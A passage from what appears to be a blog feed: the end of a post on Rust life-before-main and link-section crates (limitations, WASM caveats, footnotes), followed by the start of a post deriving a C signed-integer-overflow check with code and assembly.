text,#mermaid-1781113746043-dcjlxsoq9 span{fill:#333;color:#333;}#mermaid-1781113746043-dcjlxsoq9 .node rect,#mermaid-1781113746043-dcjlxsoq9 .node circle,#mermaid-1781113746043-dcjlxsoq9 .node ellipse,#mermaid-1781113746043-dcjlxsoq9 .node polygon,#mermaid-1781113746043-dcjlxsoq9 .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-1781113746043-dcjlxsoq9 .rough-node .label text,#mermaid-1781113746043-dcjlxsoq9 .node .label text,#mermaid-1781113746043-dcjlxsoq9 .image-shape .label,#mermaid-1781113746043-dcjlxsoq9 .icon-shape .label{text-anchor:middle;}#mermaid-1781113746043-dcjlxsoq9 .node .katex path{fill:#000;stroke:#000;stroke-width:1px;}#mermaid-1781113746043-dcjlxsoq9 .rough-node .label,#mermaid-1781113746043-dcjlxsoq9 .node .label,#mermaid-1781113746043-dcjlxsoq9 .image-shape .label,#mermaid-1781113746043-dcjlxsoq9 .icon-shape .label{text-align:center;}#mermaid-1781113746043-dcjlxsoq9 .node.clickable{cursor:pointer;}#mermaid-1781113746043-dcjlxsoq9 .root .anchor path{fill:#333333!important;stroke-width:0;stroke:#333333;}#mermaid-1781113746043-dcjlxsoq9 .arrowheadPath{fill:#333333;}#mermaid-1781113746043-dcjlxsoq9 .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-1781113746043-dcjlxsoq9 .flowchart-link{stroke:#333333;fill:none;}#mermaid-1781113746043-dcjlxsoq9 .edgeLabel{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-1781113746043-dcjlxsoq9 .edgeLabel p{background-color:rgba(232,232,232, 0.8);}#mermaid-1781113746043-dcjlxsoq9 .edgeLabel rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-1781113746043-dcjlxsoq9 .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#mermaid-1781113746043-dcjlxsoq9 .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-1781113746043-dcjlxsoq9 .cluster text{fill:#333;}#mermaid-1781113746043-dcjlxsoq9 .cluster span{color:#333;}#mermaid-1781113746043-dcjlxsoq9 div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-1781113746043-dcjlxsoq9 .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#mermaid-1781113746043-dcjlxsoq9 rect.text{fill:none;stroke-width:0;}#mermaid-1781113746043-dcjlxsoq9 .icon-shape,#mermaid-1781113746043-dcjlxsoq9 .image-shape{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-1781113746043-dcjlxsoq9 .icon-shape p,#mermaid-1781113746043-dcjlxsoq9 .image-shape p{background-color:rgba(232,232,232, 0.8);padding:2px;}#mermaid-1781113746043-dcjlxsoq9 .icon-shape rect,#mermaid-1781113746043-dcjlxsoq9 .image-shape rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-1781113746043-dcjlxsoq9 .label-icon{display:inline-block;height:1em;overflow:visible;vertical-align:-0.125em;}#mermaid-1781113746043-dcjlxsoq9 .node .label-icon path{fill:currentColor;stroke:revert;stroke-width:revert;}#mermaid-1781113746043-dcjlxsoq9 :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;}</style>
<g><marker id="mermaid-1781113746043-dcjlxsoq9_flowchart-v2-pointEnd" class="marker flowchart-v2" viewbox="0 0 10 10" refx="5" refy="5" markerunits="userSpaceOnUse" markerwidth="8" markerheight="8" orient="auto"><path d="M 0 0 L 10 5 L 0 10 z" class="arrowMarkerPath" style="stroke-width: 1px; stroke-dasharray: 1px, 0px;"></path></marker><marker id="mermaid-1781113746043-dcjlxsoq9_flowchart-v2-pointStart" class="marker flowchart-v2" viewbox="0 0 10 10" refx="4.5" refy="5" markerunits="userSpaceOnUse" markerwidth="8" markerheight="8" orient="auto"><path d="M 0 5 L 10 10 L 10 0 z" class="arrowMarkerPath" style="stroke-width: 1px; stroke-dasharray: 1px, 0px;"></path></marker><marker id="mermaid-1781113746043-dcjlxsoq9_flowchart-v2-circleEnd" class="marker flowchart-v2" viewbox="0 0 10 10" refx="11" refy="5" markerunits="userSpaceOnUse" markerwidth="11" markerheight="11" orient="auto"><circle cx="5" cy="5" r="5" class="arrowMarkerPath" style="stroke-width: 1px; stroke-dasharray: 1px, 0px;"></circle></marker><marker id="mermaid-1781113746043-dcjlxsoq9_flowchart-v2-circleStart" class="marker flowchart-v2" viewbox="0 0 10 10" refx="-1" refy="5" markerunits="userSpaceOnUse" markerwidth="11" markerheight="11" orient="auto"><circle cx="5" cy="5" r="5" class="arrowMarkerPath" style="stroke-width: 1px; stroke-dasharray: 1px, 0px;"></circle></marker><marker id="mermaid-1781113746043-dcjlxsoq9_flowchart-v2-crossEnd" class="marker cross flowchart-v2" viewbox="0 0 11 11" refx="12" refy="5.2" markerunits="userSpaceOnUse" markerwidth="11" markerheight="11" orient="auto"><path d="M 1,1 l 9,9 M 10,1 l -9,9" class="arrowMarkerPath" style="stroke-width: 2px; stroke-dasharray: 1px, 0px;"></path></marker><marker id="mermaid-1781113746043-dcjlxsoq9_flowchart-v2-crossStart" class="marker cross flowchart-v2" viewbox="0 0 11 11" refx="-1" refy="5.2" markerunits="userSpaceOnUse" markerwidth="11" markerheight="11" orient="auto"><path d="M 1,1 l 9,9 M 10,1 l -9,9" class="arrowMarkerPath" style="stroke-width: 2px; stroke-dasharray: 1px, 0px;"></path></marker><g class="root"><g class="clusters"></g><g class="edgePaths"><path d="M70.65,240L70.65,235.833C70.65,231.667,70.65,223.333,86.446,214.476C102.241,205.619,133.833,196.237,149.628,191.547L165.424,186.856" id="L_MA_ST_0" class=" edge-thickness-normal edge-pattern-solid edge-thickness-normal edge-pattern-solid flowchart-link" style="" marker-end="url(#mermaid-1781113746043-dcjlxsoq9_flowchart-v2-pointEnd)"></path><path d="M245.758,240L245.758,235.833C245.758,231.667,245.758,223.333,245.758,215.667C245.758,208,245.758,201,245.758,197.5L245.758,194" id="L_MB_ST_0" class=" edge-thickness-normal edge-pattern-solid edge-thickness-normal edge-pattern-solid flowchart-link" style="" marker-end="url(#mermaid-1781113746043-dcjlxsoq9_flowchart-v2-pointEnd)"></path><path d="M420.933,240L420.933,235.833C420.933,231.667,420.933,223.333,405.127,214.475C389.32,205.616,357.706,196.231,341.9,191.539L326.093,186.847" id="L_MC_ST_0" class=" edge-thickness-normal edge-pattern-solid edge-thickness-normal edge-pattern-solid flowchart-link" style="" marker-end="url(#mermaid-1781113746043-dcjlxsoq9_flowchart-v2-pointEnd)"></path><path d="M245.758,136L245.758,129.833C245.758,123.667,245.758,111.333,245.758,99C245.758,86.667,245.758,74.333,245.758,68.167L245.758,62" id="L_ST_COL_0" class=" edge-thickness-normal edge-pattern-dotted edge-thickness-normal edge-pattern-solid flowchart-link" style=""></path></g><g class="edgeLabels"><g class="edgeLabel"><g class="label" transform="translate(0, 0)"><foreignobject width="0" height="0"><div style="display: table-cell; white-space: nowrap; line-height: 1.5; max-width: 200px; text-align: center;" xmlns="http://www.w3.org/1999/xhtml" class="labelBkg"><span class="edgeLabel "></span></div></foreignobject></g></g><g class="edgeLabel"><g class="label" transform="translate(0, 0)"><foreignobject width="0" height="0"><div style="display: table-cell; white-space: nowrap; line-height: 1.5; max-width: 200px; text-align: center;" xmlns="http://www.w3.org/1999/xhtml" class="labelBkg"><span class="edgeLabel "></span></div></foreignobject></g></g><g class="edgeLabel"><g class="label" transform="translate(0, 0)"><foreignobject width="0" height="0"><div style="display: table-cell; white-space: nowrap; line-height: 1.5; max-width: 200px; text-align: center;" xmlns="http://www.w3.org/1999/xhtml" class="labelBkg"><span class="edgeLabel "></span></div></foreignobject></g></g><g class="edgeLabel" transform="translate(245.75833892822266, 99)"><g class="label" transform="translate(-40, -12)"><foreignobject width="90" height="24"><div style="display: table-cell; white-space: nowrap; line-height: 1.5; max-width: 200px; text-align: center;" xmlns="http://www.w3.org/1999/xhtml" class="labelBkg"><span class="edgeLabel "><p>(anywhere!)</p></span></div></foreignobject></g></g></g><g class="nodes"><g class="node default  " id="flowchart-ST-0" transform="translate(245.75833892822266, 163)"><rect class="basic label-container" style="" x="-76.5" y="-27" width="153" height="54"></rect><g class="label" style="" transform="translate(-46.5, -12)"><rect></rect><foreignobject width="93" height="24"><div style="display: table-cell; white-space: nowrap; line-height: 1.5; max-width: 200px; text-align: center;" xmlns="http://www.w3.org/1999/xhtml"><span class="nodeLabel "><p>Shared Types</p></span></div></foreignobject></g></g><g class="node default  " id="flowchart-COL-1" transform="translate(245.75833892822266, 35)"><rect class="basic label-container" style="" x="-62.69166564941406" y="-27" width="125.38333129882812" height="54"></rect><g class="label" style="" transform="translate(-32.69166564941406, -12)"><rect></rect><foreignobject width="65.38333129882812" height="24"><div style="display: table-cell; white-space: nowrap; line-height: 1.5; max-width: 200px; text-align: center;" xmlns="http://www.w3.org/1999/xhtml"><span class="nodeLabel "><p>Collector</p></span></div></foreignobject></g></g><g class="node default  " id="flowchart-MA-2" transform="translate(70.6500015258789, 267)"><rect class="basic label-container" style="" x="-62.650001525878906" y="-27" width="125.30000305175781" height="54"></rect><g class="label" style="" transform="translate(-32.650001525878906, -12)"><rect></rect><foreignobject width="65.30000305175781" height="24"><div style="display: table-cell; white-space: nowrap; line-height: 1.5; max-width: 200px; text-align: center;" xmlns="http://www.w3.org/1999/xhtml"><span class="nodeLabel "><p>Module A</p></span></div></foreignobject></g></g><g class="node default  " id="flowchart-MB-3" transform="translate(245.75833892822266, 267)"><rect class="basic label-container" style="" x="-62.458335876464844" y="-27" width="124.91667175292969" height="54"></rect><g class="label" style="" transform="translate(-32.458335876464844, -12)"><rect></rect><foreignobject width="64.91667175292969" height="24"><div style="display: table-cell; white-space: nowrap; line-height: 1.5; max-width: 200px; text-align: center;" xmlns="http://www.w3.org/1999/xhtml"><span class="nodeLabel "><p>Module B</p></span></div></foreignobject></g></g><g class="node default  " id="flowchart-MC-4" transform="translate(420.93334197998047, 267)"><rect class="basic label-container" style="" x="-62.71666717529297" y="-27" width="125.43333435058594" height="54"></rect><g class="label" style="" transform="translate(-32.71666717529297, -12)"><rect></rect><foreignobject width="65.43333435058594" height="24"><div style="display: table-cell; white-space: nowrap; line-height: 1.5; max-width: 200px; text-align: center;" xmlns="http://www.w3.org/1999/xhtml"><span class="nodeLabel "><p>Module C</p></span></div></foreignobject></g></g></g></g></g></svg>

<callout>
<div>
    <p>And of course, we aren’t just limited to slices: you’ll find that there are analogues to many data-structures with link-time support in the <a href="https://docs.rs/scattered-collect/latest/scattered_collect/index.html"><code class="language-text highlighter-rouge">scattered-collect</code> crate</a>:</p>
    <ul>
      <li>
<code class="language-text highlighter-rouge">Scattered*Slice</code>: Various <code class="language-text highlighter-rouge">Vec</code>-like structures that provide slices (and optionally sorting).</li>
      <li>
<code class="language-text highlighter-rouge">ScatteredMap</code>/<code class="language-text highlighter-rouge">ScatteredSet</code>: An analogue to <code class="language-text highlighter-rouge">HashMap</code>/<code class="language-text highlighter-rouge">HashSet</code> that provides hashed key-to-value lookup with some minimal pre-main initialization.</li>
    </ul>
  </div>
</callout>

<h2 id="but-seriously-when-not-to-use-this">But Seriously: When Not to Use This</h2>

<p>Link-time computation is fun and powerful, and it’s not always the right tool for the job. There is often a non-link-time equivalent: manually collecting data in crates that have visibility into each crate that wishes to contribute data. This can be inconvenient at times - instead of the contributors seeing a single contribution point “upstream” in a core crate, a “collector” crate with lots of crate references is required to collect them all.</p>

<p>Dead-code elimination becomes challenging: the link-section crate (and the <code class="language-text highlighter-rouge">linkme</code> equivalent) both decorate all items using <code class="language-text highlighter-rouge">#[used]</code>, so the linker is disallowed from pruning unused data. Figuring out how to make link-time collection and dead-code elimination work well together is a complex problem beyond the scope of this post. For smaller bits of data like interned string atoms this might not be a problem, but if a program wants to intern larger chunks of data like chunks of raw JSON/JavaScript, or extensive data structures, this may add up to a lot of dead-code that may be difficult to identify.</p>

<p>Pre-main constructor functions <a href="https://docs.rs/ctor/latest/ctor/life_before_main/index.html">have limitations</a>: they cannot panic <sup id="fnref:11"><a href="#fn:11" class="footnote" rel="footnote" role="doc-noteref">15</a></sup>, Rust does not guarantee that all stdlib functions are available, and the order that the initialization functions are called within a given priority level is not guaranteed and highly platform-dependent. With careful planning, these limitations may be worked around but life-before-main may not be correct for subtle and difficult-to-debug reasons.</p>

<p>At this time, <a href="https://github.com/rust-lang/miri/">Miri</a> is not fully compatible with all pre-main constructors and link-section constructions: it has a very basic view of pre-main execution, and does not model link sections at all. This may improve over time, but as of the time of writing, LLVM sanitizers (<a href="https://clang.llvm.org/docs/AddressSanitizer.html">ASan</a>, <a href="https://clang.llvm.org/docs/ThreadSanitizer.html">TSan</a>, and others) are the recommended way to test for undefined behaviour.</p>

<p>The <em>Inversion of Control</em> pattern also has a cost: it makes it potentially harder to audit all the places that contribute data to a link section.</p>

<p>In reality, many widely-deployed and heavily-used Rust programs already rely on pre-main functionality: the <code class="language-text highlighter-rouge">ctor</code>, <code class="language-text highlighter-rouge">link-section</code>, <code class="language-text highlighter-rouge">inventory</code> and <code class="language-text highlighter-rouge">linkme</code> crates are used by many downstream crates today.</p>

<callout><div>
    <p><strong>Briefly, on WASM</strong></p>

    <p>The examples above omitted a fairly important platform, though for good reason. WASM does not currently support linker sections natively because of an inconvenient choice many years back (<a href="https://github.com/rust-lang/rust/issues/51088">51088</a> and <a href="https://github.com/rust-lang/rust/pull/52353">52353</a> for more details). Instead of allowing the <code class="language-text highlighter-rouge">#[link_section]</code> annotation to place items in a true <em>code</em> section, the items are placed in a WASM <em>custom section</em> which is inaccessible to the WASM code itself!</p>

    <p>The <code class="language-text highlighter-rouge">linktime</code> crates <em>do</em> support WASM and have <a href="https://docs.rs/crate/link-section/latest#:~:text=On%20WASM%20platforms">an emulation workaround</a> that makes the approaches work for WASM binaries, but the author of this post hopes to make a suggestion in the near future on how proper WASM support could be added!</p>
  </div></callout>

<h2 id="conclusions">Conclusions</h2>

<p>You can do a lot before main, and the benefits of doing so are pretty significant for certain cases. It’s a highly-ordered, highly-controllable environment that lets you more confidently do a lot of work without locks, atomics and other synchronization primitives. Link sections give you arbitrary aggregation and co-location of related data across your whole binary without awkward crate dependency order. In a lot of cases you can even avoid allocations completely which helps keep you away from one of the worst allocator sins: churn of allocations leading to fragmentation.</p>

<p>For further reading, check out the various crates discussed in this post:</p>

<ul>
  <li>
<a href="https://crates.io/crates/ctor"><code class="language-text highlighter-rouge">ctor</code></a>: Module initialization functions that run before <code class="language-text highlighter-rouge">main</code>
</li>
  <li>
<a href="https://crates.io/crates/dtor"><code class="language-text highlighter-rouge">dtor</code></a>: Not discussed in this post, but the shutdown analogue to <code class="language-text highlighter-rouge">ctor</code>
</li>
  <li>
<a href="https://crates.io/crates/link-section"><code class="language-text highlighter-rouge">link-section</code></a>: Linker-managed typed (slices) and untyped sections, with mutability support.</li>
  <li>
<a href="https://crates.io/crates/scattered-collect"><code class="language-text highlighter-rouge">scattered-collect</code></a>: Linker-managed higher-level collections: slices, sorted slices, maps</li>
</ul>

<h2 id="thanks">Thanks</h2>

<p>Thanks to my lovely wife <a href="https://github.com/ojeda-e">Mia</a>, <a href="https://x.com/_bgwoodruff">Benjamin Woodruff</a> and <a href="https://x.com/lukeisandberg">Luke Sandberg</a>, as well as <a href="https://lobste.rs/s/rs1t8s/there_is_life_before_main_rust#c_qoljqy">@ssokolow</a> for their feedback and review. This post would not have been possible without their help.</p>

<hr>

<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:0">
      <p>Go is a notable exception in that it avoids the C runtime on some platforms, only using libc as an ABI stability boundary on platforms that require it e.g., Apple’s <code class="language-text highlighter-rouge">libSystem.dylib</code> and OpenBSD’s <code class="language-text highlighter-rouge">libc</code>. <a href="#fnref:0" class="reversefootnote" role="doc-backlink">↩</a></p>
    </li>
    <li id="fn:0b">
      <p>On Windows, these are DOS-style (which were in turn derived from CP/M-style) arguments. <a href="#fnref:0b" class="reversefootnote" role="doc-backlink">↩</a></p>
    </li>
    <li id="fn:1">
      <p>Before the loader runs, the program is just some bytes on a disk and the loader (which can be the kernel itself or a user-space system component like <code class="language-text highlighter-rouge">ld.so</code> on Linux) maps those bytes into memory and hands off control. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">↩</a></p>
    </li>
    <li id="fn:2">
      <p>The most popular method… in the humble author’s opinion. <a href="#fnref:2" class="reversefootnote" role="doc-backlink">↩</a></p>
    </li>
    <li id="fn:3">
      <p>macOS does not support this. The C runtime does its own initialization and then just runs every user constructor function in the order the linker saw them. <a href="#fnref:3" class="reversefootnote" role="doc-backlink">↩</a></p>
    </li>
    <li id="fn:4">
      <p>AIX has a special symbol naming convention for constructor functions: the <code class="language-text highlighter-rouge">sinit</code> prefix, followed by a hexadecimal priority value. <a href="#fnref:4" class="reversefootnote" role="doc-backlink">↩</a></p>
    </li>
    <li id="fn:c0">
      <p>This will be discussed later in the post, but macOS synthesizes a <code class="language-text highlighter-rouge">section$start</code> and <code class="language-text highlighter-rouge">section$end</code> symbol for each section instead of a <code class="language-text highlighter-rouge">__start_</code> and <code class="language-text highlighter-rouge">__stop_</code> symbol. <a href="#fnref:c0" class="reversefootnote" role="doc-backlink">↩</a></p>
    </li>
    <li id="fn:c1">
      <p><code class="language-text highlighter-rouge">linkme</code> creates distributed slices, but does not currently support WASM, and does not support mutable section data required to sort a section. <code class="language-text highlighter-rouge">inventory</code> supports WASM, but requires a <code class="language-text highlighter-rouge">ctor</code>-like function per item in the section. <a href="#fnref:c1" class="reversefootnote" role="doc-backlink">↩</a></p>
    </li>
    <li id="fn:5">
      <p>The Windows linker does not support this feature, but instead <a href="https://devblogs.microsoft.com/oldnewthing/20181107-00/?p=100155">defines an overall sort order for <em>symbols</em></a> that is effectively equivalent. <a href="#fnref:5" class="reversefootnote" role="doc-backlink">↩</a></p>
    </li>
    <li id="fn:6">
      <p>Orphan sections have <a href="https://maskray.me/blog/2024-06-02-understanding-orphan-sections">a complicated algorithm for placement</a>. <a href="#fnref:6" class="reversefootnote" role="doc-backlink">↩</a></p>
    </li>
    <li id="fn:7">
      <p>For example, an atomic value must always be re-read, and that may incur use of CPU cache which is pretty numerous these days, but definitely not infinite. <a href="#fnref:7" class="reversefootnote" role="doc-backlink">↩</a></p>
    </li>
    <li id="fn:8">
      <p><a href="https://doc.rust-lang.org/book/ch16-04-extensible-concurrency-sync-and-send.html">As long as it’s <code class="language-text highlighter-rouge">Sync</code></a>. <code class="language-text highlighter-rouge">Sync</code> means that it’s safe to share a reference to the data between threads. <a href="#fnref:8" class="reversefootnote" role="doc-backlink">↩</a></p>
    </li>
    <li id="fn:9">
      <p>This is a complex topic, and <a href="https://marabos.nl/atomics/">Rust Atomics and Locks</a> is the best resource for learning more. Starting a new thread means that all the previous writes “happen before” anything on the new thread, but we’ll leave the proof of this for the reader (or possibly a future post). <a href="#fnref:9" class="reversefootnote" role="doc-backlink">↩</a></p>
    </li>
    <li id="fn:10">
      <p>Even taking a reference to a mutable static <a href="https://doc.rust-lang.org/edition-guide/rust-2024/static-mut-references.html">is disallowed by default in Rust 2024!</a> <a href="#fnref:10" class="reversefootnote" role="doc-backlink">↩</a></p>
    </li>
    <li id="fn:11">
      <p>Well, more accurately they <em>can</em> panic but they <em>shouldn’t</em> panic. In fact you’ll get a <em>double</em> panic: <code class="language-text highlighter-rouge">thread '&lt;unnamed&gt;' panicked at ...: pre-main panic!</code> and then immediately <code class="language-text highlighter-rouge">thread '&lt;unnamed&gt;' panicked at ...: panic in a function that cannot unwind</code>. <a href="#fnref:11" class="reversefootnote" role="doc-backlink">↩</a></p>
    </li>
  </ol>
</div>
]]></content>
	</entry>
	
	
	
	<entry>
		<title type="html"><![CDATA[Deriving a Bit-Twiddling Hack: Signed Integer Overflow]]></title>
		<link href="https://grack.com/blog/2022/12/20/deriving-a-bit-twiddling-hack/"/>
		<updated>2022-12-20T00:00:00+00:00</updated>
		<id>https://grack.com/blog/2022/12/20/deriving-a-bit-twiddling-hack</id>
		<content type="html"><![CDATA[<p>As a thin layer on top of assembly language, C’s integer arithmetic APIs have always been minimal, effectively just mapping the underlying assembly opcodes to the C arithmetic operators. In addition, while unsigned arithmetic can safely overflow in C, signed arithmetic overflow is considered undefined behaviour, and UB <a href="https://blog.tchatzigiannakis.com/undefined-behavior-can-literally-erase-your-hard-disk/">can end up in heartache for C developers</a>.</p>

<p>More modern languages like Rust have a much richer integer API, however. By default, using the standard addition and subtraction operators in debug mode, integer APIs will <code class="language-text highlighter-rouge">panic!</code> on overflow or underflow. The same operators will wrap in two’s-complement mode in release mode, though the behaviour is considered defined. If the developer wants to specify <a href="https://doc.rust-lang.org/std/primitive.i32.html#method.carrying_add">carrying</a>, <a href="https://doc.rust-lang.org/std/primitive.i32.html#method.wrapping_add">wrapping</a>, <a href="https://doc.rust-lang.org/std/primitive.i32.html#method.checked_add">checked</a>, or <a href="https://doc.rust-lang.org/std/primitive.i32.html#method.saturating_add">saturating</a> operations, APIs for each of these modes are available.</p>

<p>We don’t have these convenient APIs available <a href="https://gustedt.wordpress.com/2022/12/18/checked-integer-arithmetic-in-the-prospect-of-c23/">in C yet</a> (<a href="#epilogue">see the epilogue</a> for some nuance), but it would be great to have them. Given that signed arithmetic overflow is undefined behaviour, can we build a function with the following C signature that works?</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">bool</span> <span class="nf">will_add_overflow</span><span class="p">(</span><span class="kt">int32_t</span> <span class="n">a</span><span class="p">,</span> <span class="kt">int32_t</span> <span class="n">b</span><span class="p">);</span>
</code></pre></div></div>

<p>All modern machines use <a href="https://en.wikipedia.org/wiki/Two%27s_complement">two’s complement</a> representation for negative integers, but C was developed <a href="https://en.wikipedia.org/wiki/Method_of_complements">when computing was experimenting with other forms of representing signed integers</a>. In this post, we will safely assume that all processors we’re targetting on are <em>not</em> using one of the alternative forms. If you find yourself programming for esoteric machines, you may wish to consult your local manual or guru.</p>

<p>A valid, quick-and-dirty solution to this would be to use <a href="https://wiki.sei.cmu.edu/confluence/display/c/INT02-C.+Understand+integer+conversion+rules#:~:text=Integer%20Promotions,-Integer%20types%20smaller&amp;text=If%20all%20values%20of%20the,converted%20to%20an%20unsigned%20int%20.">integer promotion</a> and add 64-bit signed integers instead, checking to see if the result is within range of an <code class="language-text highlighter-rouge">int16_t</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">bool</span> <span class="nf">will_add_overflow_64bit</span><span class="p">(</span><span class="kt">int32_t</span> <span class="n">a</span><span class="p">,</span> <span class="kt">int32_t</span> <span class="n">b</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// a and b are promoted to 64-bit signed integers</span>
    <span class="kt">int64_t</span> <span class="n">result</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int64_t</span><span class="p">)</span><span class="n">a</span> <span class="o">+</span> <span class="n">b</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">result</span> <span class="o">&lt;</span> <span class="n">INT32_MIN</span> <span class="o">||</span> <span class="n">result</span> <span class="o">&gt;</span> <span class="n">INT32_MAX</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>No undefined behaviour! It also has the advantage of being easily read and obviously correct. But this required sign-extending two 32-bit numbers and performing two 64-bit additions:</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">will_add_overflow_64bit:</span>
        <span class="nf">movsxd</span>  <span class="nb">rax</span><span class="p">,</span> <span class="nb">edi</span>
        <span class="nf">movsxd</span>  <span class="nb">rcx</span><span class="p">,</span> <span class="nb">esi</span>
        <span class="nf">add</span>     <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rax</span>
        <span class="nf">movsxd</span>  <span class="nb">rax</span><span class="p">,</span> <span class="nb">ecx</span>
        <span class="nf">cmp</span>     <span class="nb">rax</span><span class="p">,</span> <span class="nb">rcx</span>
        <span class="nf">setne</span>   <span class="nb">al</span>
        <span class="nf">ret</span>
</code></pre></div></div>

<p>We can do better by taking advantage of the fact that on two’s-complement machines, addition is bitwise-identical between signed and unsigned numbers so long as you ignore carry, overflow, underflow and any other flags. In addition, the C specification (C99 6.3.1.3 ¶2) guarantees that the bit pattern will be preserved on a two’s-complement system.</p>

<p>We know that unsigned overflow is not UB, and we know that we can only overflow if a &gt; 0 and b &gt; 0, and we can only underflow if a &lt; 0 and b &lt; 0. If either a or b is zero, we’re safe. We also know that adding two positive integers must result in a positive result if no overflow occurred. For two negative integers, the result must also be negative. If we find that the sign of the sum does not match the sign expected, we’ve wrapped around!</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">bool</span> <span class="nf">will_add_overflow_if</span><span class="p">(</span><span class="kt">int32_t</span> <span class="n">a</span><span class="p">,</span> <span class="kt">int32_t</span> <span class="n">b</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// Explicitly convert to uint32_t and then back</span>
    <span class="kt">int32_t</span> <span class="n">c</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int32_t</span><span class="p">)((</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">a</span> <span class="o">+</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">b</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">a</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">b</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">c</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">a</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">b</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">c</span> <span class="o">&gt;=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>And we get a fairly hefty assembly representation:</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">will_add_overflow_if:</span>
        <span class="nf">lea</span>     <span class="nb">ecx</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsi</span> <span class="o">+</span> <span class="nb">rdi</span><span class="p">]</span>
        <span class="nf">test</span>    <span class="nb">edi</span><span class="p">,</span> <span class="nb">edi</span>
        <span class="nf">jle</span>     <span class="nv">.LBB2_3</span>
        <span class="nf">test</span>    <span class="nb">esi</span><span class="p">,</span> <span class="nb">esi</span>
        <span class="nf">jle</span>     <span class="nv">.LBB2_3</span>
        <span class="nf">mov</span>     <span class="nb">al</span><span class="p">,</span> <span class="mi">1</span>
        <span class="nf">test</span>    <span class="nb">ecx</span><span class="p">,</span> <span class="nb">ecx</span>
        <span class="nf">jns</span>     <span class="nv">.LBB2_3</span>
        <span class="nf">ret</span>
<span class="nl">.LBB2_3:</span>
        <span class="nf">test</span>    <span class="nb">esi</span><span class="p">,</span> <span class="nb">edi</span>
        <span class="nf">sets</span>    <span class="nb">dl</span>
        <span class="nf">test</span>    <span class="nb">ecx</span><span class="p">,</span> <span class="nb">ecx</span>
        <span class="nf">setns</span>   <span class="nb">al</span>
        <span class="nf">and</span>     <span class="nb">al</span><span class="p">,</span> <span class="nb">dl</span>
        <span class="nf">ret</span>
</code></pre></div></div>

<p>This is arguably a bit worse, as now we have a <a href="https://en.algorithmica.org/hpc/pipelining/branching/">branch in the mix</a>. But we can start to see a pattern here:</p>

<style>
table#bit_twiddling_truth_table {
  font: inherit;
  border-collapse: collapse;
  thead {
    background-color: #fafafa;
    th {
        padding: 0.2rem;
    }
  }
  th, td {
    &.slashed-background {
        background-color: #ffffff;
        background-image: repeating-linear-gradient(
          -45deg,
          #eee 0,
          #eee 1px,
          #fff 1px,
          #fff 7px
        );
        border: 1px solid #eee;
    }
    font: inherit;
    font-size: 0.8rem;
    padding-left: 0.5rem;
    padding-right: 0.5rem;
    vertical-align: middle;
  }
}
</style>

<table id="bit_twiddling_truth_table" border="">
<tr>
<th>a</th>
<th>b</th>
<th>c</th>
<th>result</th>
</tr>
<tr>
<td>&gt; 0</td>
<td>&gt; 0</td>
<td>&lt; 0</td>
<td>true</td>
</tr>
<tr>
<td>&lt; 0</td>
<td>&lt; 0</td>
<td>&gt;= 0</td>
<td>true</td>
</tr>
</table>

<p>In two’s-complement, the expression <code class="language-text highlighter-rouge">x &lt; 0</code> is equivalent to the expression <code class="language-text highlighter-rouge">(x &amp; 0x80000000) == 0x80000000</code>. Similarly, <code class="language-text highlighter-rouge">x &gt;= 0</code> is equivalent to <code class="language-text highlighter-rouge">(x &amp; 0x80000000) == 0</code>.</p>

